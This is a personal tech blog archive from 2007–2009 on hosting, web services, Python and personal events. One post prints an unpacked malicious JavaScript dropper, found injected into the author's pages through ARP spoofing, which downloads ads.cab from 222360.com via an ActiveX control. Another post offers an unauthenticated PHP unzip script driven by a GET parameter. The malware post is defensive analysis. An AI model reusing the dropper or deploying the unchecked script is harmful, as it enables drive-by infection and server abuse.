Anjanesh

Webfaction

anjanesh@anjanesh.com (Anjanesh) — Mon, 24 Aug 2009 21:29:42 PDT

I am not going to get into another general shared-hosting review. Infact this is something in between shared-hosting and a VPS.

I signed up for 2 webfaction accounts - I was primarily looking for a VPS switch, for which I already decided on SliceHost.
But there are 2 challenges to SliceHost - one, it costs $20/month for 10GB/100GB space/bandwidth which is still pretty expensive for Indian standards.
Two, since its unmanged, a fair amount of linux sys admin skills is required to keep it up and running without downtimes.

WebFaction is mainly known for its Python hosting (previously python-hosting.com), but the best part is that you can run it like a VPS. The base install managed by the hosting company itself and the custom installs mananged by the customers themselves. For example, you can install another version of MySQL in your HOME directory and run it at a custom port (each user account gets a predefined range of ports for use in custom setups). And yes, you can install anything else not natively available in WebFaction. This is awesome, since you don't get the overhead of managing the entire server - instead you just manage what you install.

The other interesting fact about WebFaction is setting ACLs without the need of root.
Normally we would want a couple of directories (like user photos) writable by the web-server so that the web-interface can save to that directory.
In most shared-hosts, the only solution would be setting 0777 or 0755 permissions on a directory.

On my Ubuntu PC, I would do : (www-data is apache2)

sudo chgrp -R www-data <directory>
chmod -R g+w <directory>

In WebFaction they have a command-line script that does this for users.

setfacl -R -m u:apache:rwx <directory>
setfacl -R -m default:u:$USER:rwx <directory>

Con - no sendmail path defined - hence PHP's native mail() will not work. This was done inorder to avoid mail abuse. The general method of substitution in PHP would be to use a mail library like SwiftMailer to use SMTP to send out the mails.

Whats up with Yahoo!?

anjanesh@anjanesh.com (Anjanesh) — Thu, 18 Jun 2009 04:16:07 PDT

A few months ago, I blogged about Yahoo! shutting down its Kisckstart service.
Well, off lately Yahoo! has been shutting down a whole lot of its services most notably Yahoo! 360 - soon in July 2009.

The other common services of Yahoo! that shutdown were :

Yahoo! Mash, a social networking service lasted for a year ended in September 2008.
Yahoo! Live, a real-time video broadcasting experiment ended after a 6 months stint in December 2008.
Yahoo! Content Match, a Google Adsense clone shuts down in Europe.
Jumpcut, an online video editing tool closed down just a couple of days back (15th June 2009).
Yahoo! Podcasts, a podcasting directory end after 2 years in October 2007.
Yahoo! Auctions, an eBay competitor ended in September 2008.
Yahoo! Photos shut down in September 2007 but got replaced with their better acquired service, Flickr.
Yahoo Briefcase, a free storage service ended after a decade in March 2009.
Geocities, the 90's most famous free static website hosting service is closing this year - but this one is not as a result of failure - after all it was one of the biggest success stories in the 90s - it just got worn off - retired - antique - much better ones available/evolved over the last 15 years.

Yahoo! may not be dying, but its definitely try to recover its No.1 position it had a decade-and-a-half ago.

Hiring => Aquiring ?

anjanesh@anjanesh.com (Anjanesh) — Tue, 16 Jun 2009 14:41:20 PDT

With jobs cut stories being published everyday, more and more smaller companies are sprouting up daily. While on the quest for a job myself, most of the recent postings at various job portals like Naukri and Monster are from startups companies with 5 to 25 employees. I was going through various companies' websites and came across many more startup companies and related websites that seems very fascinating. I don't remember all the websites I've been through except for one which was uniquely enough to be rememberable - IonLab.

Big companies are now looking to aquire rather than hire. Google and Microsoft have been acquiring constantly in the recent years. But Google has pushed this even further with Google Ventures - a $100 million annual funding for startups and Google App Engine - web hosting on Google's high-end scalable servers. Commenting on Microsoft's Bing, Google CEO Eric Schmidt said that :

"We have been wandering around looking at all of the different companies. With the big ones, we haven't come across anything we've particularly liked. We are definitely talking to a number of smaller companies but we've done that routinely. We primarily look for technology. It's a typical build versus buy"

But this isn't limited to big giants alone - even Twitter, (small company now with big money), bought Summize for their search part.

And start-up guru, Paul Graham who apparently hates running a startup has funded about 150 startups !

Startups in India are creating a buzz (read: Related Links) : StartupBuzz, StartupDunia, Pluggd In

Wolfram Alpha

anjanesh@anjanesh.com (Anjanesh) — Sun, 17 May 2009 11:34:34 PDT

There is a lot of hype on Wolfram Alpha that launched on 15th - a brand new search engine, from the company famous for its Mathematica software.
But this search engine is math based (no surprise) - which calculate 'answers' to your questions - or rather tries to figure out answers to the questions you are querying.

They even posted their infrastructure details - having the 44th largest supercomputer, mirrored at 5 different locations and can handle 175+ million queries a day.

I tried a little more than a couple of queries, most of which returned Wolfram|Alpha isn't sure what to do with your input.
I tried queries based on my hometown, Trivandrum, Kerala which I keep track of on the net from time to time. Given "Where is Trivandrum", it showed the map of India with Trivandrum marked. But it doesn't seem to know anything about kerala - one of the top 50 tourist locations in the world (National Geographic). If this isn't in their current database of 10+ trillion of pieces of data, its going to be hard for me to find information using it.

Then I tried input queries on stuff it could 'definitely' search on - maths. 10000! gave the first bunch of 35660 digits but you can easily extend the number of digits. But even expressions like "5+132!-59^5*sin(32)/5log(12)15" showed results with neat details. Over 20 years in the making of Mathematica, Wolfram would probably have the best number search engine. But "Knowledge" based ? It doesn't seem to have a lot of knowledge as of now.

After a while it just got tired of searching.

Everyone is curious about who or what will be the next Google. There is a big surety among many, even by Tim Berners Lee, that semantic web search will overtake statistical based web search (GYM). Wolfram Alpha is going to take a while to catch up, but results from statistical data is still more important to users with the current available data on the net. Right now, Wolfram Alpha is a really cool Internet Calculator.

Finally a full-time job

anjanesh@anjanesh.com (Anjanesh) — Mon, 18 May 2009 06:16:32 PDT

Last year I worked with a client here in Mumbai for their online store, BombayElectric.in which is based on Magento, an open-source platform. My client was the national winner of British Council's Young Fashion Entrepreneur (YFE) Award 2009.

For the last 4 and so years I've always shyed away from a full-time job since I managed to get freelance work right after college. After a ring of uneventful events last year, I decided to shift base and take up the stature of an employee. Earlier last month, I finally took up a full-time job in an internet ad/marketing agency here in Mumbai. To my surprise, I discovered that the guy who runs this small unique company happens to be the national winner of British Council's Young Communications Entrepreneur (YXE) award 2009 !

Quite a Coincidence !

Update : I ended up quitting from this awesome advertising firm. This is the longest (just 3 months) I've lasted so far as a full-time employee. Back to job-hunting !

Yahoo! Kickstart already kicked out

anjanesh@anjanesh.com (Anjanesh) — Sun, 07 Dec 2008 12:17:44 PST

Its just over year since Yahoo! launched Kickstart in beta but as of now (probably just a few hours back), its already closed.

Kickstart was a Yahoo initiative to compete with Facebook, Linkedin etc but focused specifically on college students, alumni etc to connect them to jobs (professional networking space) to kickstart careers.

Right now, Kickstart shows "Thanks for trying Kickstart ! Please check out Yahoo! HotJobs for your job search needs." and links to their hotjobs site.
Given the economy slowdown, Microsoft-Yahoo acquisition disagreement, Facebook buyout failure and Y! 360 not catching up, they definitely seem to want to focus on revenue generating products instead.

Busy Dodging Bullets in Colaba

anjanesh@anjanesh.com (Anjanesh) — Fri, 28 Nov 2008 19:47:41 PST

So I've been real busy on Wednesday night. Believe it or not, on that night I was dodging bullets in colaba causeway at the bomb-blast site near Nariman House.
I at my client's office which is right next to the Taj hotel and had left office at about 11pm with my client. We were trying to cross the blast site that happened an hour before when all of a sudden there was firing and was in the middle of crossfire. Apparently the bullets were originating from the 3rd or 4th floor of Nariman House. Though this could have been easily mistaken for police firing back. I was literally running for life !
Q: And why was I trying to cross the blast site ? A: In order to reach my friend's house 1km down that lane for shelter as CST station was attacked too and there was no means to commute by train or taxi. Nor was any hotel taking in any new guests. Plus, the level of the intensity of the situation was underestimated at the time.
I dont know how the hell it happened, but my phone's camera got dysfunctional !

That proabably was my most terrifying 2 hours of my life. As Im typing this, Narman House encounter is almost one with !

Tech Contests

anjanesh@anjanesh.com (Anjanesh) — Tue, 11 Nov 2008 10:13:52 PST

The World Economy has taken a real hit. But this hasn't slowed down IT innovation especially in open-source. Jonathan of Sun has mentioned that this is the time when more of open-source would be adopted with the obvious reason of cutting down cost on proprietary software. Even though the gradual change to open-source software would be hard to gulp down so soon, it would be the only solution to keep their business from going out of business. The current crisis has not stopped IT giants from motivating tech enthusiasts from coding. A couple of contests are currently running which are worth mentioning :

Cisco Developer Contest : http://www.cisco.com/web/solutions/axpdev/index.html
Nokia : http://www.callingallinnovators.com/enter.asp
Sun Code for Freedom Contest (for Indian Students only) : http://in.sun.com/communities/univ/codeforfreedom/

Uploading and Extracting files without Shell Access on a Shared Host

anjanesh@anjanesh.com (Anjanesh) — Sun, 28 Sep 2008 11:10:01 PDT

The easiest way to upload a large number of files to your website hosting server is to zip the files first on your local PC, upload the zip file to your hosting account and then use a shell command like unzip to extract. Unfortunately, most shared hosting environments don't provide shell access due to security reasons. But from a business perspective, users who require shell access access would be really requiring a custom setup on a dedicated server.

But if you have an entire directory of files to upload to your shared hosting account, there is still a way to extract the contents online using a simple PHP script. For this to work you got to have PHP 5.2 or later enabled.

<?php
if (isset($_GET['f']))
 $file = $_GET['f'];
else
 die("arg 1 required");

$zip = new ZipArchive;

if ($zip->open($file) === FALSE)
 die("Failed to open $file");

if (!$zip->extractTo('.'))
 echo "Extract not successful";
else
 echo "Extract successful";

$zip->close();
?>

Zip the folder on your local PC using WinZip or whatever (say sample.zip).
Upload the zip file sample.zip via FTP to your host (say in temp folder).
Upload the PHP file unzip.php to temp folder.
Enter in your browser the following address http://mywebsite.com/temp/unzip.php?f=sample.zip
If you look in your host server's temp folder, you should see the contents of sample.zip extracted.

One issue you would face is the owner permissions of that extracted directory. Since the extract part was done by a script, the owner of that folder would be apache instead of your username. The only workaround of this is to login to your web control panel, browse files and reset ownership of that folder. For example, in a control panel like DirectAdmin you could just Browse for files and click on Recursively.

Viagara Milkshake !

anjanesh@anjanesh.com (Anjanesh) — Mon, 18 Aug 2008 11:56:15 PDT

At one particular restaurant in Tamil Nadu, I came across a Viagara Milkshake listed on the menu under the "Ice Creams" section !

And no, I didn't order it !

Good Year for linux ?

anjanesh@anjanesh.com (Anjanesh) — Sun, 17 Aug 2008 02:59:02 PDT

This year I'm slowly making a transition to Linux. Though I cannot leave Windows behind as I am too accustomed to it, I intend to spend a lot of time on Linux to be able to get a very good grip of it.

I've started off with Ubuntu 8.04 64-bit edition and so far it has been pretty exciting. I've seen many linux users say that we should not think Windows when moving to GUI Linux like Ubuntu - but reality is, Windows GUI has more than 90% marketshare and most people don't like spending time finding alternatives. If Windows users could just seamlessly resume their work on Linux, it would be an ideal solution. So from a practical point of view, Windows users should be able to find most of their stuff on Linux desktops. For example, the "Windows key" is used on Windows PCs to access the Start menu. In Ubuntu this is not the default, but this can be changed in Keyboard Shortcuts (Windows Key is referred to as the "SuperKey" in Linux). On the other hand, to quickly access the desktop using the keyboard, Ubuntu's default is CTRL+ALT+D. And so far I haven't found a solution to making it Windows Key + D. While it doesn't bother me & many other Linux fans to use the new combination, it seems to be a pain for many users - only because of the fact that their fingers are already synchronized to it & hence prefer it that way. I don't want to keep ranting about what can be done in Windows & that can't be done in Linux.

But there are 2 good reasons to try out Linux this year :

Wine 1.0 - after nearly 15 years in development, the stable version of Wine got released - for running Windows exe files. But this still yet to work with all EXEs.
OpenOffice 3.0 - Support for MS Office 2007 formats and since ver 2.2 no more long startup times which was terrible when compared to MS Office which runs natively unlike OO which is Java dependent.

Bike Accident

anjanesh@anjanesh.com (Anjanesh) — Tue, 09 Dec 2008 11:16:15 PST

I had quite a major bike accident on Wednesday evening at around 5 P.M. A car hit me from the opposite direction while I was making a slow right turn. But luckily the injuries were few. My left arm is completely immobilized. For 2 months max my left arm will be non-functional - had surgery on left elbow for removal of glass pieces (that got entered from the car's side windows). I was EXTREMELY LUCKY to have no other injuries especially on my head considering the fact that I was thrown off my bike and landed on my back. I am typing this from my hospital bed. Hopefully I would be discharged next week. Here are some pics of the operation taken by the surgeon.

WARNING ! Some of these photos contain very graphic images. Viewer Discretion is Strongly Advised. Click here to show the photos.

IFSC Search

anjanesh@anjanesh.com (Anjanesh) — Sat, 08 Mar 2008 01:42:43 PST

Sometime in November 2007, PayPal added a new feature : Widthdraw funds to an Indian bank account. Theres a fee of Rs 50 for withdrawals less than Rs 7,000 , otherwise there is no fee. You'll need to provide the IFSC (Indian Financial System Code) number of your bank though to get this working.

I've created a small form here to search for IFSC codes from 3 separate sources.
Reason for 3 databases is that there isnt any official source that has all the banks' IFSC data - so its better off to compare all sources and check if they match. I'll add more database(s) if I find a different source. The most reliable source is, the bank-branch itself - obviously.

Disclaimer: None of the information is guaranteed to be 100% accurate.

MySQL Road Show India 2008!

anjanesh@anjanesh.com (Anjanesh) — Wed, 27 Feb 2008 20:48:19 PST

Last week, on Thursday, the 21st, I attended the MySQL Road Show India 2008 in Mumbai. The co-founder and the director of technologies gave their tech-talks. About 100+ database pros attended the seminar.

The primary discussion was on their upcoming final release of MySQL 5.1 - new features and functionality :

High Availability - stressed a lot on this
Clustering
Partioning
Row-based replication
XML : Native support for XML. This is becoming common is every aspect of a coder's life.
Event scheduler - crons in MySQL !
Faster ALTER/DROP index
Faster data import using threading --use-threads
mysqlslap
PBXT

A bit was also said about MySQL 6.0 & its Falcon storage engine.

And the day before yesterday, Jonathan Schwartz announced the acquisition of MySQL for $1 billion. A lot Java enthusiasts are hoping to witness a wave of low-budget Java shared-webhosting.

My first mobile phone

anjanesh@anjanesh.com (Anjanesh) — Wed, 13 Feb 2008 21:18:13 PST

A couple of days back, I bought a mobile phone for myself - finally ! (Though I add access to a mobile phone). I was hoping an Android based phone would be out by this year, but Google has a reputation of keeping projects in "beta" for just too long. So I got a Nokia N82 - a 3.5G Symbian 9.2 OS device with a 5MP camera and Xenon Flash ! These days, 5MP mobile-phones are rocketing, after Nokia's N95 launch and the recent launch of Sony Ericsson's K850i & Samsung's SCH-S250.
The clarity is pretty good.

Original : here.

Im not sure if its an update in the latest Nokia PC Suite software or if its harware specific, (though I can't see how it can be the latter), but I now can compose and send text-messages directly from my PC via Nokia Text Message Editor (available as an icon in Explorer > Nokia Phone Browser). Now, this is surely a time saver !

Can we see a 10MP camera-phone in the consumer market by 2010 ?

Injected JavaScript line : 222360.com & asdafdgfgf.com

anjanesh@anjanesh.com (Anjanesh) — Wed, 27 Feb 2008 21:11:07 PST

Im a guy who is pretty much cautious about computer security, though Im not a network or security guru. The last time I formatted my hard-disk & installed my OS was sometime in December 2004 when my old PC was no good anymore and had to get a new one in January 2005. It was a HP with Windows XP SP2 OEM pre-loaded. Based on my previous years of experience, I managed to stay away from all possible malicious worms entering my PC. I never login as Administrator except for installation and global configuration settings. I am always logged in under User mode. I guess a Linux user is probably laughing at this saying "thats the way it always was". In Linux, using a non-root user is a standard for two reasons :
1. You can login as root in shell within a user environment to care of admin issues. (The same is possible in Windows XP using right-click > Run as)
2. Most installations can be done to any location - unlike C:\Program Files & C:\Windows where many installers require to add files to.

But when you install Windows, it creates a user under the Administrators group. So as a result, Windows users get administrative rights by default. And thus, Windows system files are open to intrusion when someone surfs the net using IE and allows the website to run an ActiveX Object.

During the last week of December 2007, I started noticing that all my html webpages had a JavaScript line injected into it right at the top of the page.
It was linking to a subdomain of 222360.com & later on to asdafdgfgf.com - both domains were created recently last year. And example of the injected line was like this :

<SCRIPT LANGUAGE="javascript1.2" SRC="http://x.222360.com/un.js"></SCRIPT>

There are many variants of this line - different letters for subdomain and ads.js before it was un.js.
The code is packed using packer. The unpacked code shows that it tries to create 5 ActiveX Objects. But the last one attempts to download an ads.cab file if BaiduToolBar plugin is installed and extract ads.exe out of the cab file and perhaps run it (if the third argument, 0, implies it). What ads.exe does is still unclear.

if (document.cookie.indexOf('OKSUN') == -1)
 {
        try
         {
                var e;
                var ado = (document.createElement("object"));
                ado.setAttribute("classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
                var as = ado.createobject("Adodb.Stream", "")
         }
        catch(e){};
        finally
         {
                var expires = new Date();
                expires.setTime(expires.getTime() + 24 * 60 * 60 * 1000);
                document.cookie = 'OKSUN=SUN;path=/;expires=' + expires.toGMTString();
                document.write("<\/script>");
 
                if(e != "[object Error]")
                 {
                        document.write("<\/script>")
                 }
                else
                 {
                        try
                         {
                                var f;
                                var storm = new ActiveXObject("MPS.StormPlayer")
                         }
                        catch(f){};
                        finally
                         {
                                if (f != "[object Error]")
                                {
                                       document.write("<\/script>");
                                       document.write("")
                                }
                         }
 
                        try
                         {
                                var g;
                                var pps = new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1")
                         }
                        catch(g){};
                        finally
                         {
                                if (g != "[object Error]")
                                 {
                                        document.write("<\/script>");
                                        document.write("")
                                 }
                         }
 
                        try
                         {
                                var h;
                                var thunder = new ActiveXObject("DPClient.Vod")
                         }
                        catch(h){};
                        finally
                         {
                                if (h != "[object Error]")
                                 {
                                        document.write("<\/script>");
                                        document.write("")
                                 }
                         }
 
                        try
                         {
                                var i;
                                var yahoo = new ActiveXObject("GLCHAT.GLChatCtrl.1")
                         }
                        catch(i){};
                        finally
                         {
                                if (i != "[object Error]")
                                 {
                                        document.write("")
                                 }
                         }
 
                        try
                         {
                                var j;
                                var obj = new ActiveXObject("BaiduBar.Tool")
                         }
                        catch(j){};
                        finally
                         {
                                if (j != "[object Error]")
                                 {
                                        obj.DloadDS("http://k.222360.com/ads/ads.cab", "ads.exe", 0);
                                        document.write("")
                                 }
                         }
 
                        if (f == "[object Error]" && g == "[object Error]" && h == "[object Error]" && i == "[object Error]" && j == "[object Error]")
                         {
                                document.write("")
                         }
                 }
         }
 }

I was stunned at how could this have happened thinking all my browsers were infected with a worm that modifies the HTML source. But none of the localhost pages had that JS line and a simple code to retrieve the contents of a URL or using gnuWin32 wget showed that the injected line still persists. I ended formatting my PC anyway and resintalling everything including a full Windows update. But the first thing I did before connecting to my LAN was adding entries to my hosts file mapping 222360.com, [a-z].222360.com, asdafdgfgf.com, [a-z].asdafdgfgf.com to 127.0.0.1.

Though the JS line kept coming in, I didnt regret the format + install task as I got rid off a number of unnecessary stuff.
The only other way this could possibly come in was from the ISP, so I thought. But the ISP tech support wouldnt listen to such a story. It was only a couple of days later when I found out on the net that the same issue was experience elsewhere by as mentioned in this Experts Exchange thread and then later 2 guys from Mumbai posted the exact same problem to my devnetwork thread. Apparently, all of our entire LAN was suffering downtimes and JS line injection. It was clear that its coming from the network and not from the ISP as the local cable operator's network has a number of ISPs plugged in. Whats still unclear is, how this attack took place at relatively the same time and that too in Asia.

After visiting one of the forum guy's cable operator's office, and checked this out with the help of a network expert, it was found that this is a result of an overwhelming ARP requests being sent and spoofing the gateway.
From WikiPedia :

The principle of ARP spoofing is to send fake, or 'spoofed', ARP messages to an Ethernet LAN. Generally, the aim is to associate the attacker's MAC address with the IP address of another node (such as the default gateway). Any traffic meant for that IP address would be mistakenly sent to the attacker instead. The attacker could then choose to forward the traffic to the actual default gateway (passive sniffing) or modify the data before forwarding it (man-in-the-middle attack). The attacker could also launch a Denial of Service attack against a victim by associating a nonexistent MAC address to the IP address of the victim's default gateway.

A virus called W32.VirutA (Risk Level reported by symantec as Very Low) was found on many customers' PC which seem to be doing exactly that - since after a cleanup of most of the PCs, the attacks diminished.

Keep your PC safe :

Use C: for Windows and installed programs and keep separate drives for your data - preferably on a separate hard-disk. In case of an sudden reformat or reinstallation of Windows, you don't need to spend the rest of your day searching for your data files and backing it up.
Login as a user having non administrative rights. Preferably under Users group. For installation, login as Administrator, install, and come back to your user login. Most software these days, allow you to specify the data directory to another location other than its default one. Find that and change it to the other drive. At the worst case, just give the user full permissions to a particular file/folder (in C:\Program Files) that requires writing to. At no cost should you be giving write permission to anything in C:\Windows.
Use Mozilla FireFox as the default web browser. It doesn't support ActiveX Objects
Install an anti-virus and update it regularly.
Use a Firewall - these days, viruses attack the network, not your hard-disk. Windows XP SP2 comes with its own Firewall
Dont use cracked software programs for your needs - there are many free versions equally good or express editions intended at the beginners & intermidiate level which are available for download for free. I already blogged about this before.
Use AdBlockPlus extension for FireFox - you can block as many external references you want. For example, I added *.222360.com to block anything coming from that domain. This is also the best way to block Google Ads.

NIIT's new Adobe Courses

anjanesh@anjanesh.com (Anjanesh) — Fri, 14 Dec 2007 00:16:44 PST

In today's Mumbai Mirror, I was surprised too see a nicely designed ad showcasing NIIT's new Adobe Web 2.0 courses. Apparently, NIIT & Adobe have joined forces to provide training programmes on Adobe's latest version of their products : Flash CS3, Dreamweaver CS3, Flex 2 and ColdFusion 8.

I called them up (main center located at Delhi), to enquire about these courses (my interest being in Flex alone), I was told that Flex is currently not available ! When I asked about the Flash CS3 course, they asked me if I knew C# and I replied no since I'm mainly into Linux based stuff, they insisted that I take a C# course which is a prerequisite for learning Flash CS3 ! I guessed this included ActionScript 3 too, but C# being a prerequisite is a pretty high demand. Knowledge of JavaScript with OOP concepts should be more than enough in my opinion.

Basic C# : ~ Rs 6,200
Flash CS3 : ~ Rs 9,000
Flex : ~ Rs 7,000
Entire Web 2.0 Course (including Dreamweaver & ColdFusion) : ~ Rs 24,000 over a period of ~ 250 hours

Sony DRX-S70U

anjanesh@anjanesh.com (Anjanesh) — Mon, 29 Oct 2007 05:23:30 PDT

After several attempts in trying to figure out what went wrong with my 1.5 year old HP DVD Writer, I could come to no other conclusion than a hardware failure.

In a desperate need for a burner, I recently decided to get an external one instead, powered by USB so that I don't have to depend on a single PC incase of internal PC malfunction. Among the very few available to choose from, I got a Sony DRX-S70U external slim DVD Writer for Rs. 7,000 (~$175). Its the notebook type of drive, so it writes at pretty low speeds (HP disks at 2x).

Better off to use the cheapest internal writer to be replaced every one year or two, rather than getting an expensive branded one for this purpose.

There was drive that was really mouth-watering : Sony Blue-Ray BWU-100A. Unfortunately, its costs a whopping Rs 38,000 (~$950) !

GMail Unbeatable

anjanesh@anjanesh.com (Anjanesh) — Wed, 24 Oct 2007 08:13:43 PDT

When Gmail was first launched in 2004, its most attractive features were fast AJAX interface and POP+SMTP ! Though Microsoft Email clients like Outlook & Express managed to emulate POP & SMTP for Hotmail accounts, POP+SMTP was not really available. But above all, it was Gmail's initial 1GB and growing storage capacity what really lured people to using it. By 2007, with space of almost 3GB and 10GB for the paid versions, Google has recently increased their capacity to 4GB (targetted to 6GB by Jan '08) and 25GB for paid versions.

And now for the most anticipated feature of all - IMAP. Thats right. Google has just started rolling out IMAP for gmail accounts. This may not come as a very big excitement for most users, but it definitely does for developers who can now access gmail accounts directly via the IMAP protocol. The only other free service that was providing this so far, was AOL.

There may have been a lack of new services by Google this year, but if definitely seems to be improving their existing ones dramatically. After all, it reached the $600 a share mark a couple of weeks back and is close to $670 as of now.

Why Python Rocks

anjanesh@anjanesh.com (Anjanesh) — Thu, 27 Sep 2007 21:34:51 PDT

I was checking out the Python programming language, and I must say, this reminded my a lot on the basic set theory I learnt when I was in the 11th grade. Its like as if, Python (Py for short) is made for math geeks. Its not about the math or any other library that has a load of math functions - its the way the language is designed - where the language is itself very much like writing 'math code'.

Calculator : Has a direct interpreter-cum-IDE that doesn't require you to store any code in a file first. All executed statements are stored temporarily in RAM. This something like the Immediate Window Microsoft QuickBasic offered.
Exponentiation : To find the value of xⁿ in Java, .NET, PHP, JavaScript etc, built-in pow function is to be used. In Py, this function call is saved by an arithmetic operation **. x ** n. ( Though pow() function does exist in the math library )
Functions can return more than one value :
```
def foo(a, b):
    return (a + b, a - b)

x, y = foo(5, 3)
print x, y
```
(5, 3) is called a tuple which is different from [5, 3] which is a list (an array). Even C# doesn't have this functionality - the maximum you can come close to it is, using the out keyword :
```
void foo(out int a, out int b)
 {
 }
```
but even this doesn't replicate the actual "return more than one value function"

substring : No need for a substring() function - strings natively support accessing part of the string using 2 indices separated by a colon.

>>> s = 'Python'
>>> s[3] # print s[3], if print is not mentioned, it'll automatically do a print
'h'
>>> s[2:5] # from 2 to 4
'tho'
>>> s[:3]  # from 0 to 2
'Pyt'
>>> s[3:]  # 3 to last
'hon'

Parallel assignments : In most languages, if you do int a = 5, b = 6; it would get read sequentially - declare a of type int and assign it to 5 and then declare b of type int and assign it to 6.
In Py, you can just do a, b = 5, 6 making the assignment in a parallel fashion. a, b, c, d, e = 56, 98, 'b', False, 1.01
Complex numbers : The last time I ever used complex numbers in a computer program was in school. Yet, this is another bonus for the math people - built-in support for Complex numbers !
```
>>> a = 2+3j + 3+2j
>>> a
(5+5j)
>>> a.real
5.0
>>> a.imag
5.0
>>>
```
Odd why j is used to represent imaginary instead of the i we're used to.
String multiplication : Yet another string thing - multiplying a string with a number n is equivalent to concatenating it n times.
```
>>> word = 'Python'
>>> word * 5
'PythonPythonPythonPythonPython'
>>>
```
Compound Data Types : One thing that makes it easier for PHP coders is that they got to deal with a single data type to deal with lists and the like - array. Its everything you need to store a tree. Most of the functions dealing with arrays are already built in having the array_ prefix. In Py, there are different data types that are essentially like PHP's arrays but handled differently - Lists, Tuples, Sequences, Sets and Dictionaries ! Its a whole less keystrokes to type, but if you're too used to ArrayList() and its method calls, it'll probably be a bit too confusing to get used to Python's paradigm.
Compiled Code : Though Python is an interpreted language, it provides a feature that Java first came up with - byte-compiled version of the source code. Compiling source-code (.py) to byte-compiled version (.pyc), the latter just loads faster. This is may not be very relevant in terms of speed execution, atleast we can hide the source code directly.
Multiple Inheritance : And you thought all new languages wouldn't support multiple inheritance ! Well, this is one that's at par with C++. Even though many might dread the pitfalls of multiple inheritance, Py relies on conventions to avoid accidental conflicts.

If this post has inspired you start learning Python now, you might as well dive into the newer super-major release of Python - Python 3000 (a.k.a. "Py3k", and released as Python 3.0). From Guido van Rossum's blog :

Python 3000 (a.k.a. "Py3k", and released as Python 3.0) is a new version of the language that is incompatible with the 2.x line of releases. The language is mostly the same, but many details, especially how built-in objects like dictionaries and strings work, have changed considerably, and a lot of deprecated features have finally been removed.

There are some changes in the basic language constructs which are updated in the What's New section.

African Trip Photos

anjanesh@anjanesh.com (Anjanesh) — Sun, 16 Sep 2007 13:28:20 PDT

My mom's friend went on an African Trip (Kenya and Tanzania) during the last 10 days of August. Just before she left for her journey, I told her about the infamous Battle at Kruger video that was first aired on YouTube a couple of months back (even though it was shot in 2004). [ YouTube Link ]

The chances of an incident like the Kruger Battle happening is like once in a 100 years - let alone capturing it on video. But then, in 10 yrs from now, Google would probably be recording everything happening on earth on every centimeter square ! Google for incidents !

I told my mom's friend to capture whatever and how much ever possible - to look for possible signs of attacks etc. Well...unfortunately nothing really happened, though there were times where something was about to happen but aborted sooner than later.

Anyway, here are some really nicely shot snaps of African Wildlife.

The 2 cheetahs are hunting for something else in front of the giraffe !

Zebra Crossing !

Definitely not hunting to be walking on the path of car tracks !

Even the Hippo's skin ain't think enough !

This is my favourite !
A strange blue-red chameleon (?) on the edge of a rock surrounded by big bones !

This is in a cage

Flamingos

Bambis

Excellent looking colourful bird. Wish I knew the name of the species.

No closeups of the cute little cubs !
Budget digicams have got to increase their zoom power to much more !

ConText out of Eden's Garden

anjanesh@anjanesh.com (Anjanesh) — Wed, 24 Oct 2007 08:12:22 PDT

ConText, a fairly popular light-weight syntax text editor for Windows, developed and maintained solely by a Croatian named Eden Kirin, is out for sale ! Since the lastest release v0.98.5 in December 2006, there has been no activity in its development and Eden was hardly on the forums. Ever since he decided to revamp the entire thing for version 1.0, there was a lot of eagerness from his fans. After almost a year, he has finally posted on the main page :

Due to various engagements which cause lack of my full attention and continuous further development of the ConTEXT project, I'm officially announcing that the ConTEXT project is offered FOR SALE and starting the bid.

Buyer will get:

Full source code of ConTEXT Programmers Editor's last three releases.

Full source code of unfinished ConTEXT v1.0.

Full source code of ConTEXT Programmers Editor's dependent units and libraries.

Fully functional ConTEXT web site located at www.context.cx with well visited support forum.

Ownership of domain name context.cx.

Buyer will be allowed to:

Use source code in his own projects.

Change name of ConTEXT Programmers Editor according to their own needs.

Change status of project from freeware to shareware, commercial or any other, according to their needs.

Sell ConTEXT under original or under changed name.

Change contents or purpose of the official ConTEXT web site.

Please send your serious offers and any questions regarding this bid to iwant-at-context-dot-cx. Bidding will be closed on December 7th 2007. The bidding process will not be public.

Eden Kirin, author of ConTEXT Programmers Editor project

Most of its users are hoping it to be taken & open-source it.
There are two alternatives I'm looking at if this gets frozen - a free editor called Notepad+ + and a commercial one for $35 called e.

Very Useful Scripts and Pluggable GUI Solutions

anjanesh@anjanesh.com (Anjanesh) — Fri, 14 Sep 2007 11:56:22 PDT

Sometime ago, a friend of mine consulted me on how to develop a newsletter management system for his client based on PHP and MySQL.
We talked for a while on this and though this was simple enough to create a fairly simple newsletter management system from scratch, at the end of one month of his development, he had various issues regarding emails not being sent properly. It finally took his developer 2 months to get it over with and resulted in many support tickets to his hosting company. Because his website was on a shared host, he got limited to sending a # number of emails per hour and worse still, the emails couldn't be sent with HTML embedded in them (Content-type: text/html) - the HTML page had to sent as an attachment instead.

At first I recommended to use Google Apps to host emails, but later found out that there's a limitation of sending about 50 emails at a time using Google Mail.

A few weeks later I found out about phpList - and open-source Newsletter Management System based on PHP & MySQL ! If only I had known that before ! It may require a lot of customization, but the ground work is already done which would've saved a load of time for my friend & his developer.

Here is a list of very common pluggable GUI solutions for the web, most of them based on PHP and MySQL. I shall update this list when I stumble across more such useful solutions.

I've not mentioned full-blown solutions like CMSes & frameworks such as Joomla, e107, Spring, Drupal, Xaraya etc where you would normally install in the primary folder of your domain. On the other hand, the following would normally be installed at the subdomain or subfolder level of your primary domain.

Name	What Is It	Brief Description as quoted from site	Licence	Technology
phpList	Newsletter Management System	phplist is a one-way email announcement delivery system. It is great for newsletters, publicity lists, notifications, and many other uses.	Open Source	PHP
phpBMS	Business Management Software	phpBMS is a PHP, MySQL, web-based business management system (BMS). phpBMS provides a robust billing system, including quote, order, and invoice creation, along with PDF billing document creation. phpBMS has client and prospect tracking including mass e-mailing capabilities and PDF label creation.	Open Source	PHP
PHPAudit	Product distribution and licensing system	PHPAudit is a complete PHP product distribution and licensing system. PHPAudit can handle everything from the end user ordering your product all the way to managing each individual order, license and client. It is a complete system that can be utilized in whole or in parts via our remote API.	Commercial	PHP
SugarCRM	Customer Relationship Management Software	SugarCRM is the world's leading provider of commercial open source customer relationship management (CRM) software for companies of all sizes.	Commercial Open Source	PHP
OTRS	Online Helpdesk	OTRS is an Open source Ticket Request System (also well known as trouble ticket system) with many features to manage customer telephone calls and e-mails.	Open Source	Perl
